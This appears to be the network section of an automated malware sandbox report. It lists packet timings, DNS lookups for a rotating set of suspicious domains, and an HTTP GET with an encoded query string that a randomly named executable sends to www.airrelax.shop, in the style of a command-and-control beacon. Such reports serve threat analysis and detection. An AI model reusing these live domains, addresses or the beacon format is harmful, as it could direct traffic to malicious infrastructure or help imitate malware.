Nov 25, 2024 09:45:22.461026907 CET	50048	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:22.508954048 CET	80	50048	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:22.508999109 CET	50048	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:22.509027004 CET	80	50048	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:22.509082079 CET	50048	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:23.420397043 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:23.540185928 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:23.540710926 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:23.555538893 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:23.675065994 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:24.967727900 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:24.967768908 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:24.967780113 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:24.967807055 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:24.967899084 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:24.967930079 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:24.967941046 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:24.967943907 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:24.967958927 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:24.967988968 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:24.967994928 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:24.968008041 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:24.968019962 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:24.968029976 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:24.968060017 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:25.057205915 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:25.087276936 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:25.087337017 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:25.087354898 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:25.087395906 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:25.137680054 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:25.137716055 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:25.137727976 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:25.137753010 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:25.159512997 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:25.159560919 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:25.159612894 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:25.159652948 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:25.163700104 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:25.163742065 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:25.165182114 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:25.165221930 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:25.165282011 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:25.165324926 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:25.172060966 CET	80	50049	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:25.172111034 CET	50049	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:26.076056004 CET	50050	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:26.195658922 CET	80	50050	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:26.195756912 CET	50050	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:26.212435961 CET	50050	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:26.332144976 CET	80	50050	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:26.332159996 CET	80	50050	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:26.332184076 CET	80	50050	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:26.332194090 CET	80	50050	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:26.332297087 CET	80	50050	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:26.332318068 CET	80	50050	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:26.332341909 CET	80	50050	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:26.332353115 CET	80	50050	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:26.332392931 CET	80	50050	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:27.713507891 CET	50050	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:27.833374977 CET	80	50050	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:27.833494902 CET	50050	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:28.739641905 CET	50051	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:28.859230995 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:28.859322071 CET	50051	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:28.870351076 CET	50051	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:28.989989042 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.299025059 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.299062967 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.299082994 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.299096107 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.299107075 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.299118042 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.299141884 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.299154997 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.299166918 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.299173117 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.299304008 CET	50051	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:30.299304008 CET	50051	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:30.419013023 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.419120073 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.419240952 CET	50051	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:30.423110008 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.481297970 CET	50051	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:30.490719080 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.490823030 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.490933895 CET	50051	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:30.494884014 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.494980097 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.495044947 CET	50051	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:30.501363039 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.501424074 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:30.501494884 CET	50051	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:30.548580885 CET	50051	80	192.168.2.4	163.44.185.183
Nov 25, 2024 09:45:30.668250084 CET	80	50051	163.44.185.183	192.168.2.4
Nov 25, 2024 09:45:36.214795113 CET	50052	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:36.334347010 CET	80	50052	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:36.336540937 CET	50052	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:36.356439114 CET	50052	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:36.560375929 CET	80	50052	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:37.664650917 CET	80	50052	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:37.664778948 CET	80	50052	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:37.664789915 CET	80	50052	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:37.664917946 CET	50052	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:37.854206085 CET	50052	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:38.873322964 CET	50053	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:38.992897987 CET	80	50053	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:38.992976904 CET	50053	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:39.011440039 CET	50053	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:39.131093979 CET	80	50053	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:40.365125895 CET	80	50053	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:40.365235090 CET	80	50053	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:40.365247011 CET	80	50053	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:40.365320921 CET	50053	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:40.526094913 CET	50053	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:41.545245886 CET	50054	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:41.664951086 CET	80	50054	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:41.665086985 CET	50054	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:41.680648088 CET	50054	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:41.800395012 CET	80	50054	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:41.800412893 CET	80	50054	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:41.800430059 CET	80	50054	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:41.800497055 CET	80	50054	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:41.800561905 CET	80	50054	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:41.800580025 CET	80	50054	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:41.800715923 CET	80	50054	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:41.800729036 CET	80	50054	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:41.800745010 CET	80	50054	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:43.090595961 CET	80	50054	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:43.090739012 CET	80	50054	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:43.090756893 CET	80	50054	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:43.090802908 CET	50054	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:43.090890884 CET	50054	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:43.182276964 CET	50054	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:44.202023983 CET	50055	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:44.480539083 CET	80	50055	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:44.480618000 CET	50055	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:44.569355011 CET	50055	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:44.688949108 CET	80	50055	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:45.806469917 CET	80	50055	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:45.806530952 CET	80	50055	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:45.806576014 CET	80	50055	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:45.806618929 CET	80	50055	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:45.806704044 CET	50055	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:45.806704044 CET	50055	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:45.806710005 CET	80	50055	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:45.806799889 CET	50055	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:45.812464952 CET	50055	80	192.168.2.4	217.160.0.200
Nov 25, 2024 09:45:45.931976080 CET	80	50055	217.160.0.200	192.168.2.4
Nov 25, 2024 09:45:52.085829020 CET	50056	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:45:52.205507040 CET	80	50056	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:52.206675053 CET	50056	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:45:52.221162081 CET	50056	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:45:52.340811968 CET	80	50056	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:53.457506895 CET	80	50056	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:53.457541943 CET	80	50056	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:53.457556963 CET	80	50056	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:53.457941055 CET	50056	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:45:53.729157925 CET	50056	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:45:54.749511957 CET	50057	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:45:54.869066954 CET	80	50057	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:54.869155884 CET	50057	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:45:54.887394905 CET	50057	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:45:55.006968975 CET	80	50057	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:56.165836096 CET	80	50057	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:56.165909052 CET	80	50057	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:56.165923119 CET	80	50057	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:56.166119099 CET	50057	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:45:56.401070118 CET	50057	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:45:57.442753077 CET	50058	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:45:57.562331915 CET	80	50058	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:57.562457085 CET	50058	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:45:57.578844070 CET	50058	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:45:57.698550940 CET	80	50058	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:57.698570013 CET	80	50058	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:57.698626041 CET	80	50058	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:57.698636055 CET	80	50058	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:57.698709965 CET	80	50058	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:57.698776007 CET	80	50058	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:57.698786020 CET	80	50058	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:57.698873997 CET	80	50058	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:57.698884010 CET	80	50058	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:58.766074896 CET	80	50058	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:58.766140938 CET	80	50058	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:58.766155005 CET	80	50058	107.167.84.42	192.168.2.4
Nov 25, 2024 09:45:58.766191959 CET	50058	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:45:58.766237974 CET	50058	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:45:59.088553905 CET	50058	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:46:00.107939959 CET	50059	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:46:00.227518082 CET	80	50059	107.167.84.42	192.168.2.4
Nov 25, 2024 09:46:00.227742910 CET	50059	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:46:00.236850023 CET	50059	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:46:00.356594086 CET	80	50059	107.167.84.42	192.168.2.4
Nov 25, 2024 09:46:01.479526043 CET	80	50059	107.167.84.42	192.168.2.4
Nov 25, 2024 09:46:01.479587078 CET	80	50059	107.167.84.42	192.168.2.4
Nov 25, 2024 09:46:01.479615927 CET	80	50059	107.167.84.42	192.168.2.4
Nov 25, 2024 09:46:01.480359077 CET	50059	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:46:01.483345985 CET	50059	80	192.168.2.4	107.167.84.42
Nov 25, 2024 09:46:01.603518009 CET	80	50059	107.167.84.42	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 09:42:28.819562912 CET	62282	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:42:29.186005116 CET	53	62282	1.1.1.1	192.168.2.4
Nov 25, 2024 09:42:45.890445948 CET	59910	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:42:46.582037926 CET	53	59910	1.1.1.1	192.168.2.4
Nov 25, 2024 09:43:01.029290915 CET	61161	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:43:02.028917074 CET	53	61161	1.1.1.1	192.168.2.4
Nov 25, 2024 09:43:16.545543909 CET	63277	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:43:17.385299921 CET	53	63277	1.1.1.1	192.168.2.4
Nov 25, 2024 09:43:32.350215912 CET	65092	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:43:33.353872061 CET	65092	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:43:33.367620945 CET	53	65092	1.1.1.1	192.168.2.4
Nov 25, 2024 09:43:33.490792990 CET	53	65092	1.1.1.1	192.168.2.4
Nov 25, 2024 09:43:48.264683008 CET	49830	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:43:48.600311041 CET	53	49830	1.1.1.1	192.168.2.4
Nov 25, 2024 09:44:03.077070951 CET	65522	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:44:03.657198906 CET	53	65522	1.1.1.1	192.168.2.4
Nov 25, 2024 09:44:18.189596891 CET	55367	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:44:18.848118067 CET	53	55367	1.1.1.1	192.168.2.4
Nov 25, 2024 09:44:33.780257940 CET	56639	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:44:34.100106001 CET	53	56639	1.1.1.1	192.168.2.4
Nov 25, 2024 09:44:48.827408075 CET	61226	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:44:49.232960939 CET	53	61226	1.1.1.1	192.168.2.4
Nov 25, 2024 09:45:03.701390982 CET	59390	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:45:04.441714048 CET	53	59390	1.1.1.1	192.168.2.4
Nov 25, 2024 09:45:18.890425920 CET	53198	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:45:19.904392004 CET	53198	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:45:20.743444920 CET	53	53198	1.1.1.1	192.168.2.4
Nov 25, 2024 09:45:20.743462086 CET	53	53198	1.1.1.1	192.168.2.4
Nov 25, 2024 09:45:35.561322927 CET	64789	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:45:36.210143089 CET	53	64789	1.1.1.1	192.168.2.4
Nov 25, 2024 09:45:50.827177048 CET	50002	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:45:51.824491024 CET	50002	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:45:52.082026005 CET	53	50002	1.1.1.1	192.168.2.4
Nov 25, 2024 09:45:52.082050085 CET	53	50002	1.1.1.1	192.168.2.4
Nov 25, 2024 09:46:07.217420101 CET	53727	53	192.168.2.4	1.1.1.1
Nov 25, 2024 09:46:07.965703964 CET	53	53727	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 09:42:28.819562912 CET	192.168.2.4	1.1.1.1	0x1573	Standard query (0)	www.airrelax.shop	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:42:45.890445948 CET	192.168.2.4	1.1.1.1	0x8849	Standard query (0)	www.amayavp.xyz	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:43:01.029290915 CET	192.168.2.4	1.1.1.1	0x6db2	Standard query (0)	www.bpgroup.site	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:43:16.545543909 CET	192.168.2.4	1.1.1.1	0xfe52	Standard query (0)	www.127358.win	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:43:32.350215912 CET	192.168.2.4	1.1.1.1	0x6a92	Standard query (0)	www.caj-bioteaque.online	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:43:33.353872061 CET	192.168.2.4	1.1.1.1	0x6a92	Standard query (0)	www.caj-bioteaque.online	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:43:48.264683008 CET	192.168.2.4	1.1.1.1	0x2fbe	Standard query (0)	www.ssrpidemt-soar.sbs	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:44:03.077070951 CET	192.168.2.4	1.1.1.1	0x2517	Standard query (0)	www.izmirescortg.xyz	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:44:18.189596891 CET	192.168.2.4	1.1.1.1	0x8fc2	Standard query (0)	www.030002613.xyz	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:44:33.780257940 CET	192.168.2.4	1.1.1.1	0xace2	Standard query (0)	www.327531.buzz	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:44:48.827408075 CET	192.168.2.4	1.1.1.1	0x5b9d	Standard query (0)	www.urbanfashion.website	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:45:03.701390982 CET	192.168.2.4	1.1.1.1	0x86e	Standard query (0)	www.canadavinreport.site	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:45:18.890425920 CET	192.168.2.4	1.1.1.1	0x9ec6	Standard query (0)	www.sankan-fukushi.info	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:45:19.904392004 CET	192.168.2.4	1.1.1.1	0x9ec6	Standard query (0)	www.sankan-fukushi.info	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:45:35.561322927 CET	192.168.2.4	1.1.1.1	0x8f84	Standard query (0)	www.carsten.studio	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:45:50.827177048 CET	192.168.2.4	1.1.1.1	0x2cfd	Standard query (0)	www.cssa.auction	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:45:51.824491024 CET	192.168.2.4	1.1.1.1	0x2cfd	Standard query (0)	www.cssa.auction	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:46:07.217420101 CET	192.168.2.4	1.1.1.1	0x32a1	Standard query (0)	www.dietcoffee.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 09:42:29.186005116 CET	1.1.1.1	192.168.2.4	0x1573	No error (0)	www.airrelax.shop		104.21.16.206	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:42:29.186005116 CET	1.1.1.1	192.168.2.4	0x1573	No error (0)	www.airrelax.shop		172.67.215.235	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:42:46.582037926 CET	1.1.1.1	192.168.2.4	0x8849	No error (0)	www.amayavp.xyz		185.27.134.144	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:43:02.028917074 CET	1.1.1.1	192.168.2.4	0x6db2	No error (0)	www.bpgroup.site	bpgroup.site		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 09:43:02.028917074 CET	1.1.1.1	192.168.2.4	0x6db2	No error (0)	bpgroup.site		74.48.143.82	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:43:17.385299921 CET	1.1.1.1	192.168.2.4	0xfe52	No error (0)	www.127358.win		206.238.89.119	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:43:33.367620945 CET	1.1.1.1	192.168.2.4	0x6a92	No error (0)	www.caj-bioteaque.online		212.123.41.108	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:43:33.490792990 CET	1.1.1.1	192.168.2.4	0x6a92	No error (0)	www.caj-bioteaque.online		212.123.41.108	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:43:48.600311041 CET	1.1.1.1	192.168.2.4	0x2fbe	No error (0)	www.ssrpidemt-soar.sbs		172.67.223.206	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:43:48.600311041 CET	1.1.1.1	192.168.2.4	0x2fbe	No error (0)	www.ssrpidemt-soar.sbs		104.21.70.134	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:44:03.657198906 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	www.izmirescortg.xyz		172.67.186.192	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:44:03.657198906 CET	1.1.1.1	192.168.2.4	0x2517	No error (0)	www.izmirescortg.xyz		104.21.36.62	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:44:18.848118067 CET	1.1.1.1	192.168.2.4	0x8fc2	No error (0)	www.030002613.xyz		161.97.142.144	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:44:34.100106001 CET	1.1.1.1	192.168.2.4	0xace2	No error (0)	www.327531.buzz		43.199.54.158	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:44:49.232960939 CET	1.1.1.1	192.168.2.4	0x5b9d	No error (0)	www.urbanfashion.website		209.74.77.108	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:45:04.441714048 CET	1.1.1.1	192.168.2.4	0x86e	No error (0)	www.canadavinreport.site		185.27.134.206	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:45:20.743444920 CET	1.1.1.1	192.168.2.4	0x9ec6	No error (0)	www.sankan-fukushi.info		163.44.185.183	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:45:20.743462086 CET	1.1.1.1	192.168.2.4	0x9ec6	No error (0)	www.sankan-fukushi.info		163.44.185.183	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:45:36.210143089 CET	1.1.1.1	192.168.2.4	0x8f84	No error (0)	www.carsten.studio	carsten.studio		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 09:45:36.210143089 CET	1.1.1.1	192.168.2.4	0x8f84	No error (0)	carsten.studio		217.160.0.200	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:45:52.082026005 CET	1.1.1.1	192.168.2.4	0x2cfd	No error (0)	www.cssa.auction	cssa.auction		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 09:45:52.082026005 CET	1.1.1.1	192.168.2.4	0x2cfd	No error (0)	cssa.auction		107.167.84.42	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:45:52.082050085 CET	1.1.1.1	192.168.2.4	0x2cfd	No error (0)	www.cssa.auction	cssa.auction		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 09:45:52.082050085 CET	1.1.1.1	192.168.2.4	0x2cfd	No error (0)	cssa.auction		107.167.84.42	A (IP address)	IN (0x0001)	false
Nov 25, 2024 09:46:07.965703964 CET	1.1.1.1	192.168.2.4	0x32a1	No error (0)	www.dietcoffee.online		77.68.64.45	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.airrelax.shop

www.amayavp.xyz

www.bpgroup.site

www.127358.win

www.caj-bioteaque.online

www.ssrpidemt-soar.sbs

www.izmirescortg.xyz

www.030002613.xyz

www.327531.buzz

www.urbanfashion.website

www.canadavinreport.site

www.sankan-fukushi.info

www.carsten.studio

www.cssa.auction

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49741	104.21.16.206	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:42:29.323622942 CET	517	OUT	GET /wq47/?ifzt=+qWmsYvD7OMlDEAEm/jaBDQSW8n+pKrv9iKIE2pdq1tK+kqvSnJEJbP2DMl6xw9oMdRXFlgn6DbTeTaaAs/qgaat4XAxW5JpuJNECjkmcyUCSAd0ff+SBDY=&qX=qP0hoZO0bjg4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.airrelax.shop Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
